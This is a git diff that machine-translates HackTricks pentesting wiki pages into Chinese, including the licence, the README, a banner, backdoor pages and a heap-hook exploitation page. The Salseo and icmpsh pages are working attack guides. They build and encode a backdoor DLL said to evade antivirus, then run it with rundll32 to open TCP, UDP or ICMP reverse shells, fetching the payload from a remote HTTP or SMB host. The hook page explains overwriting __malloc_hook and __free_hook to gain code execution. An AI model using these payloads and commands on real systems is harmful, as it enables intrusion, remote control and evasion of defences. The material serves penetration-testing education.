diff --git a/src/LICENSE.md b/src/LICENSE.md index 132c2586a..91daf8135 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -1,6 +1,6 @@ {{#include ./banners/hacktricks-training.md}} -Creative Commons License
版权 © Carlos Polop 2021。除非另有说明(书中复制的外部信息属于原作者),Carlos Polop 的 HACK TRICKS 文本根据 知识共享署名-非商业性 4.0 国际(CC BY-NC 4.0) 进行许可。 +Creative Commons License
版权 © Carlos Polop 2021。除非另有说明(书中复制的外部信息属于原作者),Carlos Polop 的 HACK TRICKS 的文本根据 知识共享署名-非商业性 4.0 国际(CC BY-NC 4.0) 进行许可。 许可证:署名-非商业性 4.0 国际(CC BY-NC 4.0)
人类可读许可证:https://creativecommons.org/licenses/by-nc/4.0/
@@ -15,7 +15,7 @@ ## 使用知识共享公共许可证 -知识共享公共许可证提供了一套标准的条款和条件,创作者和其他权利持有人可以使用这些条款和条件来分享原始著作和其他受版权及某些其他权利保护的材料。以下考虑事项仅供参考,并不详尽,也不构成我们许可证的一部分。 +知识共享公共许可证提供了一套标准的条款和条件,创作者和其他权利持有者可以用来分享原始著作和其他受版权及某些其他权利保护的材料。以下考虑事项仅供参考,并不详尽,也不构成我们许可证的一部分。 - **对许可人的考虑:** 我们的公共许可证旨在供那些被授权向公众许可以受版权和某些其他权利限制的方式使用材料的人使用。我们的许可证是不可撤销的。许可人应在申请许可证之前阅读并理解所选择许可证的条款和条件。许可人还应在申请我们的许可证之前确保所有必要的权利,以便公众可以按预期重用材料。许可人应清楚标记任何不受许可证约束的材料。这包括其他 CC 许可的材料,或根据版权的例外或限制使用的材料。[更多对许可人的考虑](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)。 @@ -23,19 +23,19 @@ # 知识共享署名-非商业性 4.0 国际公共许可证 -通过行使许可权(定义如下),您接受并同意受本知识共享署名-非商业性 4.0 国际公共许可证(“公共许可证”)的条款和条件的约束。在本公共许可证可以被解释为合同的范围内,您在接受这些条款和条件的情况下获得许可权,许可人基于许可材料根据这些条款和条件提供给您这样的权利。 +通过行使许可权(定义如下),您接受并同意受本知识共享署名-非商业性 4.0 国际公共许可证(“公共许可证”)的条款和条件的约束。在本公共许可证可以被解释为合同的范围内,您在接受这些条款和条件的情况下获得许可权,许可人基于许可材料根据这些条款和条件提供的利益授予您此类权利。 ## 第 1 节 – 定义。 -a. **改编材料** 指受版权和类似权利保护的材料,该材料源自或基于许可材料,并且在其中许可材料以需要根据许可人持有的版权和类似权利获得许可的方式被翻译、修改、排列、转化或以其他方式修改。就本公共许可证而言,当许可材料是音乐作品、表演或声音录音时,改编材料总是在许可材料与动态影像同步时产生。 +a. **改编材料** 指受版权和类似权利保护的材料,该材料源自或基于许可材料,并且在其中许可材料以需要根据许可人持有的版权和类似权利获得许可的方式被翻译、修改、排列、转化或以其他方式修改。就本公共许可证而言,当许可材料是音乐作品、表演或音频录音时,改编材料总是在许可材料与动态影像同步时产生。 b. **适配器许可证** 指您根据本公共许可证的条款和条件对您对改编材料的贡献所适用的版权和类似权利的许可证。 -c. **版权和类似权利** 指版权和/或与版权密切相关的类似权利,包括但不限于表演、广播、声音录音和特有数据库权利,而不考虑这些权利的标签或分类。就本公共许可证而言,第 2 节 (b)(1)-(2) 中规定的权利不属于版权和类似权利。 +c. **版权和类似权利** 指版权和/或与版权密切相关的类似权利,包括但不限于表演、广播、音频录音和特有数据库权利,而不考虑这些权利的标签或分类。就本公共许可证而言,第 2 节 (b)(1)-(2) 中规定的权利不属于版权和类似权利。 -d. **有效技术措施** 指在缺乏适当授权的情况下,根据 1996 年 12 月 20 日通过的《世界知识产权组织版权条约》第 11 条履行义务的法律下,可能无法规避的措施和/或类似国际协议。 +d. **有效技术措施** 指在缺乏适当授权的情况下,根据 1996 年 12 月 20 日通过的《世界知识产权组织版权条约》第 11 条履行义务的法律下,可能无法规避的措施,以及/或类似的国际协议。 -e. **例外和限制** 指适用于您使用许可材料的合理使用、公平交易和/或任何其他版权和类似权利的例外或限制。 +e. **例外和限制** 指合理使用、公平交易和/或适用于您使用许可材料的任何其他版权和类似权利的例外或限制。 f. **许可材料** 指许可人应用本公共许可证的艺术或文学作品、数据库或其他材料。 @@ -43,11 +43,11 @@ g. **许可权** 指根据本公共许可证的条款和条件授予您的权利 h. **许可人** 指根据本公共许可证授予权利的个人或实体。 -i. **非商业性** 指不主要旨在或针对商业利益或货币补偿。就本公共许可证而言,通过数字文件共享或类似方式将许可材料与其他受版权和类似权利保护的材料交换是非商业性的,前提是与交换无关的货币补偿没有支付。 +i. **非商业性** 指不主要用于或针对商业利益或货币补偿。就本公共许可证而言,通过数字文件共享或类似方式交换许可材料与其他受版权和类似权利保护的材料是非商业性的,前提是与交换无关的货币补偿没有支付。 j. **分享** 指通过任何需要根据许可权获得许可的方式或过程向公众提供材料,例如复制、公开展示、公开表演、分发、传播、交流或进口,并使材料可供公众使用,包括以公众可以从他们选择的地点和时间访问材料的方式。 -k. **特有数据库权利** 指根据 1996 年 3 月 11 日欧洲议会和理事会第 96/9/EC 指令关于数据库的法律保护而产生的除版权以外的权利,以及在世界任何地方的其他本质上等同的权利。 +k. **特有数据库权利** 指除版权外,根据 1996 年 3 月 11 日欧洲议会和理事会第 96/9/EC 指令关于数据库的法律保护而产生的权利,以及在世界任何地方的其他实质上等效的权利。 l. **您** 指根据本公共许可证行使许可权的个人或实体。您的含义相应。 @@ -64,22 +64,22 @@ B. 仅为非商业目的制作、复制和分享改编材料。 2. **例外和限制。** 为避免疑义,在您使用的情况下适用例外和限制时,本公共许可证不适用,您无需遵守其条款和条件。 3. **期限。** 本公共许可证的期限在第 6(a) 节中规定。 -4. **媒体和格式;允许的技术修改。** 许可人授权您在所有已知或将来创建的媒体和格式中行使许可权,并进行必要的技术修改。许可人放弃和/或同意不主张任何权利或权威,以禁止您进行必要的技术修改以行使许可权,包括为规避有效技术措施而进行的技术修改。就本公共许可证而言,仅仅进行本第 2(a)(4) 节授权的修改从不产生改编材料。 +4. **媒体和格式;允许的技术修改。** 许可人授权您在所有媒体和格式中行使许可权,无论是现在已知的还是将来创建的,并进行必要的技术修改。许可人放弃和/或同意不主张任何权利或权威,以禁止您进行必要的技术修改以行使许可权,包括为规避有效技术措施而进行的必要技术修改。就本公共许可证而言,仅仅进行本第 2(a)(4) 节授权的修改从不产生改编材料。 5. **下游接收者。** A. **来自许可人的提议 – 许可材料。** 每个许可材料的接收者自动收到来自许可人的提议,以根据本公共许可证的条款和条件行使许可权。 -B. **无下游限制。** 如果这样做限制了任何许可材料接收者行使许可权,您不得对许可材料提供或施加任何额外或不同的条款或条件,或对许可材料应用任何有效技术措施。 +B. **无下游限制。** 如果这样做限制了任何许可材料接收者行使许可权,您不得对许可材料提供或施加任何额外或不同的条款或条件,或对其应用任何有效技术措施。 -6. **无认可。** 本公共许可证中的任何内容均不构成或不得解释为许可人或其他指定接收署名的人的认可或暗示您与许可人或其他指定接收署名的人的联系、赞助、认可或授予官方地位的许可。 +6. **无认可。** 本公共许可证中的任何内容均不构成或可被解释为许可您或您的许可材料使用与许可人或其他指定接收署名的人员相关联、赞助、认可或授予官方地位的许可。 b. **_其他权利。_** -1. 道德权利,例如完整权利,不在本公共许可证下获得许可,宣传权、隐私权和/或其他类似的人格权也不在其中;但是,在可能的范围内,许可人放弃和/或同意不主张许可人持有的任何此类权利,以便在必要的有限范围内允许您行使许可权,但不包括其他情况。 +1. 道德权利,例如完整权,不在本公共许可证下获得许可,宣传、隐私和/或其他类似的人格权利也不在其中;然而,在可能的范围内,许可人放弃和/或同意不主张许可人持有的任何此类权利,以便在必要的有限范围内允许您行使许可权,但不包括其他情况。 -2. 专利和商标权不在本公共许可证下获得许可。 +2. 专利和商标权利不在本公共许可证下获得许可。 -3. 在可能的范围内,许可人放弃从您行使许可权中收取版税的任何权利,无论是直接还是通过任何自愿或可放弃的法定或强制许可计划。在所有其他情况下,许可人明确保留收取此类版税的任何权利,包括当许可材料用于非商业目的以外的情况。 +3. 在可能的范围内,许可人放弃从您行使许可权中收取版税的任何权利,无论是直接还是通过任何自愿或可放弃的法定或强制许可计划的集体组织。在所有其他情况下,许可人明确保留收取此类版税的任何权利,包括当许可材料用于非商业目的以外的情况。 ## 第 3 节 – 许可证条件。 @@ -91,7 +91,7 @@ a. **_署名。_** A. 保留许可人随许可材料提供的以下内容: -i. 许可材料创作者的身份以及任何其他指定接收署名的人的身份,以许可人要求的任何合理方式(包括如有指定则以笔名); +i. 许可材料创作者的身份及任何其他指定接收署名的人员,以许可人要求的任何合理方式(包括如有指定可使用化名); ii. 版权声明; @@ -125,9 +125,9 @@ c. 如果您分享数据库内容的全部或实质性部分,您必须遵守 ## 第 5 节 – 免责声明和责任限制。 -a. **除非许可人另有单独承诺,在可能的范围内,许可人以现状和可用的方式提供许可材料,并不对许可材料的任何种类作出任何陈述或担保,无论是明示、暗示、法定或其他。这包括但不限于所有权、适销性、特定用途的适用性、不侵权、缺陷的缺失或其他缺陷、准确性或错误的存在或缺失的担保,无论是否已知或可发现。在不允许完全或部分免责声明的情况下,本免责声明可能不适用于您。** +a. **除非许可人另行承担责任,在可能的范围内,许可人以现状和可用的方式提供许可材料,并不对许可材料的任何种类作出任何陈述或担保,无论是明示、暗示、法定或其他。这包括但不限于所有权、适销性、特定用途的适用性、不侵权、缺陷的缺失或其他缺陷、准确性或错误的存在或缺失的担保,无论是否已知或可发现。在不允许完全或部分免责声明的情况下,本免责声明可能不适用于您。** -b. **在可能的范围内,许可人对您不承担任何法律理论(包括但不限于过失)或其他原因造成的任何直接、特殊、间接、附带、后果性、惩罚性、示范性或其他损失、费用、开支或损害的责任,即使许可人已被告知可能发生此类损失、费用、开支或损害。在不允许完全或部分责任限制的情况下,本限制可能不适用于您。** +b. **在可能的范围内,许可人对您在任何法律理论(包括但不限于过失)或其他情况下因本公共许可证或使用许可材料而产生的任何直接、特殊、间接、附带、后果性、惩罚性、示范性或其他损失、费用、开支或损害不承担责任,即使许可人已被告知此类损失、费用、开支或损害的可能性。在不允许完全或部分责任限制的情况下,本限制可能不适用于您。** c. 上述免责声明和责任限制应以尽可能接近绝对免责声明和放弃所有责任的方式进行解释。 @@ -135,7 +135,7 @@ c. 上述免责声明和责任限制应以尽可能接近绝对免责声明和 a. 本公共许可证适用于此处许可的版权和类似权利的期限。然而,如果您未能遵守本公共许可证,则您在本公共许可证下的权利将自动终止。 -b. 当您根据第 6(a) 节终止使用许可材料的权利时,它将恢复: +b. 当您根据第 6(a) 节的规定终止使用许可材料的权利时,它将恢复: 1. 在您发现违规行为后的 30 天内,自动恢复至违规行为得到纠正之日;或 @@ -151,17 +151,17 @@ d. 第 1、5、6、7 和 8 节在本公共许可证终止后继续有效。 a. 除非明确同意,许可人不受您传达的任何额外或不同条款或条件的约束。 -b. 关于许可材料的任何安排、理解或协议,除非在此明确说明,否则与本公共许可证的条款和条件是分开的且独立的。 +b. 关于许可材料的任何安排、理解或协议未在此处说明,均与本公共许可证的条款和条件分开且独立。 ## 第 8 节 – 解释。 -a. 为避免疑义,本公共许可证不构成,也不得解释为,减少、限制、限制或对任何可以在不需要本公共许可证许可的情况下合法进行的许可材料使用施加条件。 +a. 为避免疑义,本公共许可证不应被解释为减少、限制、限制或对任何可以在不需要本公共许可证许可的情况下合法使用的许可材料施加条件。 b. 在可能的范围内,如果本公共许可证的任何条款被视为不可执行,则应自动修订至必要的最低限度以使其可执行。如果该条款无法修订,则应从本公共许可证中剔除,而不影响其余条款和条件的可执行性。 -c. 本公共许可证的任何条款或条件均不得放弃,且除非许可人明确同意,否则不得同意不遵守。 +c. 本公共许可证的任何条款或条件均不得被放弃,且除非许可人明确同意,否则不得同意不遵守。 -d. 本公共许可证中的任何内容均不构成或不得解释为对适用于许可人或您的任何特权和豁免的限制或放弃,包括来自任何司法管辖区或权威的法律程序。 +d. 本公共许可证中的任何内容均不构成或可被解释为对适用于许可人或您的任何特权和豁免的限制或放弃,包括来自任何司法管辖区或权威的法律程序。 ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. diff --git a/src/README.md b/src/README.md index cdcffd959..906a8dbec 100644 --- a/src/README.md +++ b/src/README.md @@ -7,7 +7,7 @@ _Hacktricks 标志和动态设计由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> **欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。** +> **欢迎来到这个维基,在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。** 要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:** @@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最相关的网络安全事件,也是**欧洲**最重要的事件之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热闹的交流点。 +[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是技术和网络安全专业人士在各个学科的一个热闹的交流点。 {% embed url="https://www.rootedcon.com/" %} @@ -71,7 +71,7 @@ generic-methodologies-and-resources/pentesting-methodology.md 加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流! - **黑客见解**:参与深入探讨黑客的刺激和挑战的内容 -- **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界 +- **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界 - **最新公告**:了解最新的漏洞赏金发布和重要平台更新 **今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作! @@ -96,11 +96,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **SerpApi** 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。 -订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\ +订阅SerpApi的计划之一包括访问超过50个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\ 与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。 当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\ -有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试示例。**\ +有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试一个示例。**\ 你可以在[**这里**](https://serpapi.com/users/sign_up)**创建一个免费账户。** --- diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..527edc97b 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +从以下地址下载后门: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# 客户端 -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +执行脚本: **run.sh** +**如果出现错误,请尝试更改以下行:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**对于:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **受害者端** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +将 **icmpsh.exe** 上传到受害者并执行: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..cbab4d6bd 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## 编译二进制文件 -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。 -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +为您将要使用的Windows机器的架构编译这些项目(如果Windows支持x64,则为该架构编译)。 -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +您可以在Visual Studio的**左侧“Build”选项卡**中的**“Platform Target”**选择架构。 -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*如果找不到此选项,请按**“Project Tab”**,然后在**“\ Properties”**中) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +然后,构建这两个项目(Build -> Build Solution)(在日志中将出现可执行文件的路径): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## 准备后门 -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +首先,您需要对**EvilSalsa.dll**进行编码。为此,您可以使用python脚本**encrypterassembly.py**,或者您可以编译项目**EncrypterAssembly**: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +好的,现在你拥有执行所有 Salseo 操作所需的一切:**编码的 EvilDalsa.dll** 和 **SalseoLoader 的二进制文件**。 -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**将 SalseoLoader.exe 二进制文件上传到机器上。它们不应该被任何 AV 检测到...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **执行后门** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **获取 TCP 反向 shell(通过 HTTP 下载编码的 dll)** +记得启动一个 nc 作为反向 shell 监听器,并启动一个 HTTP 服务器来提供编码的 evilsalsa。 ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **获取UDP反向Shell(通过SMB下载编码的dll)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +记得启动nc作为反向Shell监听器,并启动SMB服务器以提供编码的evilsalsa(impacket-smbserver)。 ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **获取 ICMP 反向 shell(受害者内部已编码的 dll)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**这次你需要一个特殊的工具在客户端接收反向 shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **禁用 ICMP 回复:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### 执行客户端: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### 在受害者内部,让我们执行salseo操作: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## 编译 SalseoLoader 为导出主函数的 DLL -## Compiling SalseoLoader as DLL exporting main function +使用 Visual Studio 打开 SalseoLoader 项目。 -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### 在主函数之前添加: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### 为此项目安装 DllExport -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **工具** --> **NuGet 包管理器** --> **管理解决方案的 NuGet 包...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **搜索 DllExport 包(使用浏览选项卡),然后按安装(并接受弹出窗口)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +在你的项目文件夹中出现了文件: **DllExport.bat** 和 **DllExport_Configure.bat** -### **U**ninstall DllExport +### **卸载** DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +按 **卸载**(是的,这很奇怪,但相信我,这是必要的) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **退出 Visual Studio 并执行 DllExport_configure** -Just **exit** Visual Studio +只需 **退出** Visual Studio -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +然后,转到你的 **SalseoLoader 文件夹** 并 **执行 DllExport_Configure.bat** -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +选择 **x64**(如果你打算在 x64 盒子中使用它,那是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间中**)并按 **应用** ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **再次使用 Visual Studio 打开项目** -**\[DllExport]** should not be longer marked as error +**\[DllExport]** 不应再标记为错误 ![](<../images/image (8) (1).png>) -### Build the solution +### 构建解决方案 -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +选择 **输出类型 = 类库**(项目 --> SalseoLoader 属性 --> 应用程序 --> 输出类型 = 类库) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +选择 **x64** **平台**(项目 --> SalseoLoader 属性 --> 构建 --> 平台目标 = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +要 **构建** 解决方案: 构建 --> 构建解决方案(在输出控制台中将出现新 DLL 的路径) -### Test the generated Dll +### 测试生成的 Dll -Copy and paste the Dll where you want to test it. - -Execute: +将 Dll 复制并粘贴到你想测试的位置。 +执行: ``` rundll32.exe SalseoLoader.dll,main ``` +如果没有错误出现,您可能有一个功能正常的 DLL!! -If no error appears, probably you have a functional DLL!! +## 使用 DLL 获取 shell -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +不要忘记使用 **HTTP** **服务器** 并设置 **nc** **监听器** ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..ad6da0a76 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> 学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> 学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> 支持 HackTricks > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..ada3d47d7 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# 任意写入 2 执行 diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..0953354d9 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **每当调用 `malloc()` 时将被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。 -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +要调用 malloc,可以等待程序调用它,或者通过 **调用 `printf("%10000$c")`**,这会分配过多的字节,使得 `libc` 调用 malloc 在堆中分配它们。 -More info about One Gadget in: +有关 One Gadget 的更多信息,请参见: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> 请注意,**GLIBC >= 2.34 的钩子已被禁用**。在现代 GLIBC 版本中可以使用其他技术。请参见:[https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。 ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +在页面的一个示例中滥用了这一点,滥用了一次快速 bin 攻击,之后又滥用了一次未排序 bin 攻击: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +如果二进制文件具有符号,可以使用以下命令找到 `__free_hook` 的地址: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +在这篇文章中,你可以找到如何在没有符号的情况下定位 free hook 地址的逐步指南。总结一下,在 free 函数中:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -40,31 +38,31 @@ gef➤  p &__free_hook
 0xf75dedcc <free+12>:  sub    esp,0x8
 0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
 0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- BREAK HERE
+0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- 在这里中断
 0xf75deddb <free+27>:  test   eax,eax ;<
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
